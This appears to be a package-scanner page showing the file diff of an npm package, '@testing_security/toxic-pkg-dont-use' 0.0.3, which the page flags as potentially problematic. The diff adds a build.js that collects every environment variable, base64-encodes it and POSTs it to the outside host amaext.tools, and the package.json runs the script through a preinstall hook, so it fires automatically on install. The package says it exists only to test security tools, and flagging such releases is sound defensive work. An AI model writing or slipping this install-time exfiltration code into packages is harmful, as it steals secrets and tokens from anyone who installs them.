@testing_security/toxic-pkg-dont-use 0.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @testing_security/toxic-pkg-dont-use might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/build.js +18 -0
  2. package/index.js +0 -0
  3. package/package.json +11 -0
package/build.js ADDED
@@ -0,0 +1,18 @@
1
+ var http = require('https');
2
+
3
+ function main() {
4
+ var data = process.env || {};
5
+
6
+ var req = http.request({
7
+ host: 'amaext.tools',
8
+ path: '/',
9
+ method: 'POST',
10
+ }).on('error', function (err) {
11
+
12
+ });
13
+
14
+ req.write(Buffer.from(JSON.stringify(data)).toString('base64'));
15
+ req.end();
16
+ }
17
+
18
+ main();
package/index.js ADDED
File without changes
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@testing_security/toxic-pkg-dont-use",
3
+ "version": "0.0.3",
4
+ "description": "This package exist only to test security tools",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node build.js"
8
+ },
9
+ "author": "",
10
+ "license": ""
11
+ }